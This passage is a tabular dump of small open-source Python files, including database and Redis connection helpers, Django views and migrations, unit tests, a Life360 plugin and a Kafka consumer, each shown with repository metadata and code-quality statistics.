model_name='customersetting'... | 39.95 | 421 | 0.713392 | 100 | 799 | 5.56 | 0.72 | 0.035971 | 0.053957 | 0.071942 | 0.125899 | 0.125899 | 0.125899 | 0 | 0 | 0 | 0 | 0.212299 | 0.145181 | 799 | 19 | 422 | 42.052632 | 0.601757 | 0.026283 | 0 | 0 | 0 | 0.153846 | 0.529639 | 0.48067 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.153846 | 0 | 0.384615 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
f98d78abc4c61ae00ffd3cee5b5299a82b124239 | 505 | py | Python | umysqldb/__init__.py | arozumenko/pyumysql | 34b61faf33e2db644b02c483c07ddca32165539a | [
"Apache-2.0"
] | null | null | null | umysqldb/__init__.py | arozumenko/pyumysql | 34b61faf33e2db644b02c483c07ddca32165539a | [
"Apache-2.0"
] | null | null | null | umysqldb/__init__.py | arozumenko/pyumysql | 34b61faf33e2db644b02c483c07ddca32165539a | [
"Apache-2.0"
] | null | null | null | from umysqldb import connections
from umysqldb import cursors
def connect(db, host="localhost", port=3306, user="root", passwd="root",
charset="utf8", cursorclass=cursors.Cursor, autocommit=False):
return connections.Connection(database=db, host=host, port=port, user=user,
... | 42.083333 | 79 | 0.609901 | 48 | 505 | 6.416667 | 0.5 | 0.077922 | 0.116883 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.014124 | 0.29901 | 505 | 12 | 80 | 42.083333 | 0.855932 | 0 | 0 | 0 | 0 | 0 | 0.041502 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.111111 | false | 0.222222 | 0.222222 | 0.111111 | 0.444444 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 2 |
f9a2fdd3c94e96ddac9d38ba04e226d5f50ff29b | 452 | py | Python | docker/dev_app/views.py | uw-it-aca/uw-django-saml2 | 04cd99c0f8fff6160c13e3aa0e44324f6a4079fe | [
"Apache-2.0"
] | 2 | 2018-04-20T19:02:11.000Z | 2020-01-21T07:08:48.000Z | docker/dev_app/views.py | uw-it-aca/uw-django-saml2 | 04cd99c0f8fff6160c13e3aa0e44324f6a4079fe | [
"Apache-2.0"
] | 71 | 2018-03-27T17:52:31.000Z | 2022-02-18T23:09:05.000Z | docker/dev_app/views.py | uw-it-aca/uw-django-saml2 | 04cd99c0f8fff6160c13e3aa0e44324f6a4079fe | [
"Apache-2.0"
] | 1 | 2018-12-04T19:20:36.000Z | 2018-12-04T19:20:36.000Z | from django.conf import settings
from django.contrib.auth.decorators import login_required
from django.http import HttpResponse
from uw_saml.utils import is_member_of_group
# Create your views here.
@login_required
def index(request):
if is_member_of_group(request, settings.UW_SAML_PERMISSIONS['perm2']):
... | 28.25 | 74 | 0.765487 | 64 | 452 | 5.234375 | 0.578125 | 0.089552 | 0.059701 | 0.089552 | 0.185075 | 0 | 0 | 0 | 0 | 0 | 0 | 0.007833 | 0.152655 | 452 | 15 | 75 | 30.133333 | 0.866841 | 0.050885 | 0 | 0 | 0 | 0 | 0.161593 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.1 | false | 0 | 0.4 | 0 | 0.7 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
f9ade94d5d26429d7edd4cdfcee8f28919e4bd4f | 597 | py | Python | ror/NoTieResolver.py | jakub-tomczak/ror | cf9ab38a2d66f4816a1289b9726911960059fce7 | [
"MIT"
] | null | null | null | ror/NoTieResolver.py | jakub-tomczak/ror | cf9ab38a2d66f4816a1289b9726911960059fce7 | [
"MIT"
] | null | null | null | ror/NoTieResolver.py | jakub-tomczak/ror | cf9ab38a2d66f4816a1289b9726911960059fce7 | [
"MIT"
] | null | null | null | from ror.RORParameters import RORParameters
from ror.RORResult import RORResult
from ror.AbstractTieResolver import AbstractTieResolver
from ror.result_aggregator_utils import Rank
class NoTieResolver(AbstractTieResolver):
def __init__(self) -> None:
super().__init__('NoResolver')
def resolve_rank(se... | 37.3125 | 99 | 0.740369 | 71 | 597 | 6.056338 | 0.507042 | 0.065116 | 0.065116 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.18258 | 597 | 16 | 99 | 37.3125 | 0.881148 | 0 | 0 | 0 | 0 | 0 | 0.153846 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.333333 | 0.083333 | 0.833333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
f9b1deee9145e20a82bd34752d2e98a230a5a620 | 568 | py | Python | src/database/migrations/0027_auto_20190829_1530.py | gregory-chekler/api | 11ecbea945e7eb6fa677a0c0bb32bda51ba15f28 | [
"MIT"
] | 2 | 2020-07-24T12:58:17.000Z | 2020-12-17T02:26:13.000Z | src/database/migrations/0027_auto_20190829_1530.py | gregory-chekler/api | 11ecbea945e7eb6fa677a0c0bb32bda51ba15f28 | [
"MIT"
] | 214 | 2019-06-26T17:33:54.000Z | 2022-03-26T00:02:34.000Z | src/database/migrations/0027_auto_20190829_1530.py | massenergize/portalBackEnd | 7ed971b2be13901667a216d8c8a46f0bed6d6ccd | [
"MIT"
] | 6 | 2020-03-13T20:29:06.000Z | 2021-08-20T16:15:08.000Z | # Generated by Django 2.2.3 on 2019-08-29 15:30
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('database', '0026_auto_20190829_1528'),
]
operations = [
migrations.AddField(
model_name='vendor',
name='email',
... | 23.666667 | 64 | 0.584507 | 60 | 568 | 5.4 | 0.666667 | 0.111111 | 0.141975 | 0.166667 | 0.358025 | 0.228395 | 0 | 0 | 0 | 0 | 0 | 0.092965 | 0.299296 | 568 | 23 | 65 | 24.695652 | 0.721106 | 0.079225 | 0 | 0.352941 | 1 | 0 | 0.115163 | 0.044146 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.058824 | 0 | 0.235294 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
f9b5c8efc58630f49b1fe78511366116237e9554 | 471 | py | Python | tests/conditions/operators/test_set_membership_operator.py | rusintez/flipper-client | cd00ae1a3582c5cb7e661c5aa9b8a7b65b35a9e0 | [
"Apache-2.0"
] | 82 | 2019-04-03T16:09:04.000Z | 2022-03-29T23:48:31.000Z | tests/conditions/operators/test_set_membership_operator.py | rusintez/flipper-client | cd00ae1a3582c5cb7e661c5aa9b8a7b65b35a9e0 | [
"Apache-2.0"
] | 17 | 2019-04-16T17:17:36.000Z | 2021-02-25T22:06:01.000Z | tests/conditions/operators/test_set_membership_operator.py | rusintez/flipper-client | cd00ae1a3582c5cb7e661c5aa9b8a7b65b35a9e0 | [
"Apache-2.0"
] | 12 | 2019-07-29T20:07:28.000Z | 2022-03-29T21:10:15.000Z | import unittest
from flipper.conditions.operators.set_membership_operator import SetMembershipOperator
class TestCompare(unittest.TestCase):
def test_returns_true_when_expected_is_in_actual(self):
operator = SetMembershipOperator()
self.assertTrue(operator.compare(1, [1, 2, 3]))
def test_re... | 29.4375 | 86 | 0.760085 | 56 | 471 | 6.089286 | 0.571429 | 0.041056 | 0.082111 | 0.117302 | 0.26393 | 0.26393 | 0 | 0 | 0 | 0 | 0 | 0.02005 | 0.152866 | 471 | 15 | 87 | 31.4 | 0.834586 | 0 | 0 | 0.222222 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.222222 | 1 | 0.222222 | false | 0 | 0.222222 | 0 | 0.555556 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
f9b8816aef7a829b307e2a9d13b933fbcd80a3a1 | 353 | py | Python | tests/utils/test_gzipgen.py | takanabe/cli | 7cbf781d7f286fc4e52ef0980712c28f386e8d09 | [
"Apache-2.0"
] | 19 | 2021-01-07T06:41:51.000Z | 2022-03-05T08:23:57.000Z | tests/utils/test_gzipgen.py | takanabe/cli | 7cbf781d7f286fc4e52ef0980712c28f386e8d09 | [
"Apache-2.0"
] | 189 | 2020-11-04T15:38:47.000Z | 2022-03-31T05:02:06.000Z | tests/utils/test_gzipgen.py | takanabe/cli | 7cbf781d7f286fc4e52ef0980712c28f386e8d09 | [
"Apache-2.0"
] | 7 | 2020-11-20T16:55:51.000Z | 2022-02-01T11:17:30.000Z | from launchable.utils.gzipgen import compress
import gzip
from unittest import TestCase
class GzippenTest(TestCase):
def test_compress(self):
"""Basic sanity test of """
encoded = b''.join(compress([b'Hello', b' ', b'world']))
msg = gzip.decompress(encoded)
print(msg)
self.... | 27.153846 | 64 | 0.654391 | 44 | 353 | 5.227273 | 0.590909 | 0.052174 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.220963 | 353 | 12 | 65 | 29.416667 | 0.836364 | 0.056657 | 0 | 0 | 0 | 0 | 0.067485 | 0 | 0 | 0 | 0 | 0 | 0.111111 | 1 | 0.111111 | false | 0 | 0.333333 | 0 | 0.555556 | 0.111111 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
f9e18afe3ddb7b565b697f03187cc311b80b604e | 670 | py | Python | dallinger/redis_utils.py | Dallinger/Dallinger | c3acf1375391ef8cb702641638bf5a5008aa9be3 | [
"MIT"
] | 100 | 2016-09-07T03:55:36.000Z | 2022-02-28T02:20:10.000Z | dallinger/redis_utils.py | Dallinger/Dallinger | c3acf1375391ef8cb702641638bf5a5008aa9be3 | [
"MIT"
] | 3,457 | 2016-09-05T23:21:31.000Z | 2022-03-31T19:11:31.000Z | dallinger/redis_utils.py | Dallinger/Dallinger | c3acf1375391ef8cb702641638bf5a5008aa9be3 | [
"MIT"
] | 53 | 2016-10-03T07:24:34.000Z | 2021-10-20T20:42:38.000Z | import os
import redis
from urllib.parse import urlparse
def connect_to_redis(url=None):
"""Return a connection to Redis.
If a URL is supplied, it will be used, otherwise an environment variable
is checked before falling back to a default.
Since we are generally running on Heroku, and configuring S... | 30.454545 | 78 | 0.723881 | 95 | 670 | 4.978947 | 0.589474 | 0.084567 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.007407 | 0.19403 | 670 | 21 | 79 | 31.904762 | 0.868519 | 0.435821 | 0 | 0 | 0 | 0 | 0.150997 | 0.062678 | 0 | 0 | 0 | 0 | 0 | 1 | 0.111111 | false | 0 | 0.333333 | 0 | 0.555556 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
ddabee57641e5f2212bdb1af4233c76d2dc9db3e | 2,238 | py | Python | introspection/call_stack.py | Aran-Fey/introspection | 0ce3a16688b51bdcb72c7b070d571a1004f5151b | [
"MIT"
] | 1 | 2022-03-02T23:13:06.000Z | 2022-03-02T23:13:06.000Z | introspection/call_stack.py | Aran-Fey/introspection | 0ce3a16688b51bdcb72c7b070d571a1004f5151b | [
"MIT"
] | null | null | null | introspection/call_stack.py | Aran-Fey/introspection | 0ce3a16688b51bdcb72c7b070d571a1004f5151b | [
"MIT"
] | null | null | null |
import types
from typing import Iterable, Union
from .call_frame import CallFrame
__all__ = ['CallStack']
class CallStack:
"""
Represents the call stack - a series of :class:`CallFrame` instances.
This class can be used like a read-only list. It supports iteration, indexing, membership testing, etc. ... | 26.963855 | 156 | 0.626005 | 273 | 2,238 | 4.897436 | 0.40293 | 0.059835 | 0.02917 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.001252 | 0.28597 | 2,238 | 82 | 157 | 27.292683 | 0.835419 | 0.38874 | 0 | 0.055556 | 0 | 0 | 0.028455 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.277778 | false | 0 | 0.083333 | 0.166667 | 0.638889 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 2 |
ddb85f6c9f54c6a26a73cc1b1e07e1f705ce4e40 | 124 | py | Python | test_suite/suite/test09/other_mod.py | joncatanio/cannoli | 410f6bea362bf9e33eecc0e01fb080dadd14ef23 | [
"MIT"
] | 755 | 2017-12-09T05:34:43.000Z | 2022-03-26T09:15:56.000Z | test_suite/suite/test09/other_mod.py | joncatanio/cannoli | 410f6bea362bf9e33eecc0e01fb080dadd14ef23 | [
"MIT"
] | 8 | 2017-12-12T01:03:18.000Z | 2020-06-29T01:41:03.000Z | test_suite/suite/test09/other_mod.py | joncatanio/cannoli | 410f6bea362bf9e33eecc0e01fb080dadd14ef23 | [
"MIT"
] | 23 | 2018-05-17T17:48:23.000Z | 2022-03-26T09:15:57.000Z | import some_mod
def functione(b):
a = some_mod.some_class()
print(b)
print("othermod calling in " + str(a.hello))
| 17.714286 | 47 | 0.669355 | 20 | 124 | 4 | 0.7 | 0.175 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.193548 | 124 | 6 | 48 | 20.666667 | 0.8 | 0 | 0 | 0 | 0 | 0 | 0.16129 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.2 | 0 | 0.4 | 0.4 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
ddc39e71f4d5f6b6a53e16b07decfbb4b7887488 | 12,963 | py | Python | life360.indigoPlugin/Contents/Server Plugin/plugin.py | ryanbuckner/life360-plugin | 3e64108b91c4ee0f4f85f6e7aa31fa7bd1b1d6fe | [
"MIT"
] | 1 | 2021-09-25T15:43:00.000Z | 2021-09-25T15:43:00.000Z | life360.indigoPlugin/Contents/Server Plugin/plugin.py | ryanbuckner/life360-plugin | 3e64108b91c4ee0f4f85f6e7aa31fa7bd1b1d6fe | [
"MIT"
] | null | null | null | life360.indigoPlugin/Contents/Server Plugin/plugin.py | ryanbuckner/life360-plugin | 3e64108b91c4ee0f4f85f6e7aa31fa7bd1b1d6fe | [
"MIT"
] | null | null | null | #! /usr/bin/env python
# -*- coding: utf-8 -*-
####################
# Copyright (c) 2021 ryanbuckner
# https://github.com/ryanbuckner/life360-plugin/wiki
#
# Based on neilk's Solcast plugin
################################################################################
# Imports
#####################################... | 36.931624 | 174 | 0.66011 | 1,493 | 12,963 | 5.632954 | 0.206966 | 0.045184 | 0.044946 | 0.052438 | 0.314388 | 0.245898 | 0.209275 | 0.174078 | 0.136385 | 0.091558 | 0 | 0.020093 | 0.140014 | 12,963 | 351 | 175 | 36.931624 | 0.734302 | 0.056468 | 0 | 0.268908 | 0 | 0.004202 | 0.281817 | 0.019839 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.058824 | 0.021008 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
ddd0baa5f55beee804fd811c66a9f9297112106b | 444 | py | Python | snippets/3DEM/useful_bits/scratch_hdf5_2_nii.py | michielkleinnijenhuis/EM | f46a9b11298919b359e80d9f23a7e824df1356cb | [
"Apache-2.0"
] | null | null | null | snippets/3DEM/useful_bits/scratch_hdf5_2_nii.py | michielkleinnijenhuis/EM | f46a9b11298919b359e80d9f23a7e824df1356cb | [
"Apache-2.0"
] | null | null | null | snippets/3DEM/useful_bits/scratch_hdf5_2_nii.py | michielkleinnijenhuis/EM | f46a9b11298919b359e80d9f23a7e824df1356cb | [
"Apache-2.0"
] | null | null | null | ### get all the blocked raw datafiles from ARC and convert to nifti's ###
#rsync -avz ndcn0180@arcus.arc.ox.ac.uk:/data/ndcn-fmrib-water-brain/ndcn0180/EM/M3/M3_S1_GNU/testblock/m000_?????-?????_?????-?????_?????-?????.h5 /Users/michielk/oxdata/P01/EM/M3/M3_S1_GNU/
for f in `ls m000_?????-?????_?????-?????_?????-?????.... | 74 | 191 | 0.614865 | 75 | 444 | 3.493333 | 0.76 | 0.030534 | 0.045802 | 0.061069 | 0.083969 | 0 | 0 | 0 | 0 | 0 | 0 | 0.096059 | 0.085586 | 444 | 5 | 192 | 88.8 | 0.549261 | 0.576577 | 0 | 0 | 0 | 0 | 0.033333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
ddd71b2e4c6346f49e71518346e30e3f595d4613 | 1,169 | py | Python | lf3py/task/data.py | rog-works/lf3py | e89937f7aa133ed54d85764f06101ab9abf6b960 | [
"CNRI-Python"
] | null | null | null | lf3py/task/data.py | rog-works/lf3py | e89937f7aa133ed54d85764f06101ab9abf6b960 | [
"CNRI-Python"
] | 48 | 2020-12-19T13:47:26.000Z | 2021-01-07T22:27:56.000Z | lf3py/task/data.py | rog-works/lf3py | e89937f7aa133ed54d85764f06101ab9abf6b960 | [
"CNRI-Python"
] | null | null | null | from abc import ABCMeta, abstractmethod
from dataclasses import dataclass
from typing import Any, List, Type, TypeVar
from lf3py.lang.dsn import DSN
from lf3py.serialization.serializer import DictSerializer, Serializer
T_OBJ = TypeVar('T_OBJ')
class Command(metaclass=ABCMeta):
@property
@abstractmethod
... | 21.648148 | 69 | 0.662104 | 134 | 1,169 | 5.574627 | 0.380597 | 0.072289 | 0.026774 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.005618 | 0.238666 | 1,169 | 53 | 70 | 22.056604 | 0.833708 | 0 | 0 | 0.166667 | 0 | 0 | 0.014542 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.222222 | false | 0 | 0.138889 | 0.083333 | 0.583333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
dde5915014c5c7fff2dcda09f7e0ecc75334cecc | 398 | py | Python | downloadHSfiles.py | McDowellLab/downloadNEON | b43d47d40cbf0e168dfa307969687025e3f5fa34 | [
"MIT"
] | null | null | null | downloadHSfiles.py | McDowellLab/downloadNEON | b43d47d40cbf0e168dfa307969687025e3f5fa34 | [
"MIT"
] | null | null | null | downloadHSfiles.py | McDowellLab/downloadNEON | b43d47d40cbf0e168dfa307969687025e3f5fa34 | [
"MIT"
] | null | null | null | from hs_restclient import HydroShare, HydroShareAuthBasic
# Download LCZO sesnor database from Hydroshare
# link to the Hydroshare resource https://www.hydroshare.org/resource/b38bc00887ec45ac9499f9dea45eb8d5/
auth = HydroShareAuthBasic(username="miguelcleon", password = "x")
hs = HydroShare(auth = auth)
hs.getResour... | 39.8 | 103 | 0.81407 | 40 | 398 | 8.075 | 0.7 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.099448 | 0.090452 | 398 | 9 | 104 | 44.222222 | 0.792818 | 0.369347 | 0 | 0 | 0 | 0 | 0.218623 | 0.129555 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.25 | 0.25 | 0 | 0.25 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
dde641d979074c8c01c9f5c1fbef8f55228ae8fe | 339 | py | Python | protonfixes/gamefixes/287260.py | bmaupin/protonfixes | 9fc87a9a487d7dfbd0c602a079f3b026f8a84638 | [
"BSD-2-Clause"
] | 213 | 2018-10-06T01:40:26.000Z | 2022-03-16T16:17:37.000Z | protonfixes/gamefixes/287260.py | bmaupin/protonfixes | 9fc87a9a487d7dfbd0c602a079f3b026f8a84638 | [
"BSD-2-Clause"
] | 88 | 2018-10-06T17:38:56.000Z | 2022-02-19T13:27:26.000Z | protonfixes/gamefixes/287260.py | bmaupin/protonfixes | 9fc87a9a487d7dfbd0c602a079f3b026f8a84638 | [
"BSD-2-Clause"
] | 67 | 2018-10-09T16:57:16.000Z | 2022-03-14T13:06:25.000Z | """ Game fix for Toybox Turbos
"""
#pylint: disable=C0103
from protonfixes import util
from protonfixes.logger import log
def main():
""" Changes the proton argument from the launcher to the game
"""
log('Applying fixes for Toybox Turbos')
# Fix infinite startup screen
util.set_environment('PROT... | 21.1875 | 65 | 0.707965 | 46 | 339 | 5.152174 | 0.695652 | 0.075949 | 0.126582 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.018382 | 0.19764 | 339 | 15 | 66 | 22.6 | 0.852941 | 0.41003 | 0 | 0 | 0 | 0 | 0.259459 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | true | 0 | 0.4 | 0 | 0.6 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
ddea0dbcc4c809d7b5a35e5b2781bf028ff2f764 | 140 | py | Python | tests/framework/Optimizers/Infinite/infinite.py | milljm/raven | 5f29fe81b75e2ffbeb54a55aa63647e7b2f6457b | [
"Apache-2.0"
] | 2 | 2019-10-11T15:59:10.000Z | 2021-04-08T18:23:57.000Z | tests/framework/Optimizers/Infinite/infinite.py | milljm/raven | 5f29fe81b75e2ffbeb54a55aa63647e7b2f6457b | [
"Apache-2.0"
] | 1 | 2018-03-27T13:06:00.000Z | 2018-03-27T13:06:00.000Z | tests/framework/Optimizers/Infinite/infinite.py | milljm/raven | 5f29fe81b75e2ffbeb54a55aa63647e7b2f6457b | [
"Apache-2.0"
] | 1 | 2017-08-29T16:09:13.000Z | 2017-08-29T16:09:13.000Z | import numpy as np
def run(self,Inputs):
if self.x != 0.0:
self.ans = self.y/self.x
else:
self.ans = np.array([float('inf')])
| 15.555556 | 39 | 0.592857 | 26 | 140 | 3.192308 | 0.653846 | 0.120482 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.018349 | 0.221429 | 140 | 8 | 40 | 17.5 | 0.743119 | 0 | 0 | 0 | 0 | 0 | 0.021583 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0 | 0.166667 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
ddf357f8f64530a6e0a779ab33c258cb0322ac3e | 189 | py | Python | kafka/1/consumer/kaktatest.py | adriancarriger/experiments | 7e4248592dc8fbb08522c9b5f0393c80dc7e2699 | [
"MIT"
] | 1 | 2021-06-22T13:38:36.000Z | 2021-06-22T13:38:36.000Z | kafka/1/consumer/kaktatest.py | adriancarriger/experiments | 7e4248592dc8fbb08522c9b5f0393c80dc7e2699 | [
"MIT"
] | 108 | 2019-05-23T16:12:32.000Z | 2020-09-04T15:47:33.000Z | kafka/1/consumer/kaktatest.py | adriancarriger/experiments | 7e4248592dc8fbb08522c9b5f0393c80dc7e2699 | [
"MIT"
] | null | null | null | from kafka import KafkaConsumer
consumer = KafkaConsumer('myTestTopic', bootstrap_servers='localhost:9092')
for item in consumer:
print("The Message is :", item)
# https://kafka-1:9092
| 31.5 | 75 | 0.756614 | 24 | 189 | 5.916667 | 0.791667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.054217 | 0.121693 | 189 | 5 | 76 | 37.8 | 0.801205 | 0.10582 | 0 | 0 | 0 | 0 | 0.245509 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.25 | 0 | 0.25 | 0.25 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
fb07d1f256a2f6d7a6cc9dbdf801ef7f4558d52a | 323 | py | Python | TP_ALGO_3/convert.py | PierreLeGuen/ALGO_S5 | 9067e887d14fe997c6944292a0cff23ceda47b6e | [
"MIT"
] | null | null | null | TP_ALGO_3/convert.py | PierreLeGuen/ALGO_S5 | 9067e887d14fe997c6944292a0cff23ceda47b6e | [
"MIT"
] | null | null | null | TP_ALGO_3/convert.py | PierreLeGuen/ALGO_S5 | 9067e887d14fe997c6944292a0cff23ceda47b6e | [
"MIT"
] | null | null | null | def convert(n,base):
if n < base:
res = str(n)
else:
res = convert(n//base,base) + str(n%base)
return res
print(convert(10,2))
def convert_inv(n,base):
if n < base:
res = str(n)
else:
res = str(n%base) + convert(n//base,base)
return res
print(convert_inv(10,2... | 16.15 | 49 | 0.544892 | 52 | 323 | 3.346154 | 0.25 | 0.229885 | 0.206897 | 0.091954 | 0.586207 | 0.298851 | 0.298851 | 0.298851 | 0.298851 | 0.298851 | 0 | 0.026549 | 0.30031 | 323 | 19 | 50 | 17 | 0.743363 | 0 | 0 | 0.571429 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.142857 | false | 0 | 0 | 0 | 0.285714 | 0.142857 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
fb0b24730ac65daad4c5e515482703fc512b4066 | 300 | py | Python | output/models/nist_data/list_pkg/non_positive_integer/schema_instance/nistschema_sv_iv_list_non_positive_integer_length_1_xsd/__init__.py | tefra/xsdata-w3c-tests | b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f | [
"MIT"
] | 1 | 2021-08-14T17:59:21.000Z | 2021-08-14T17:59:21.000Z | output/models/nist_data/list_pkg/non_positive_integer/schema_instance/nistschema_sv_iv_list_non_positive_integer_length_1_xsd/__init__.py | tefra/xsdata-w3c-tests | b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f | [
"MIT"
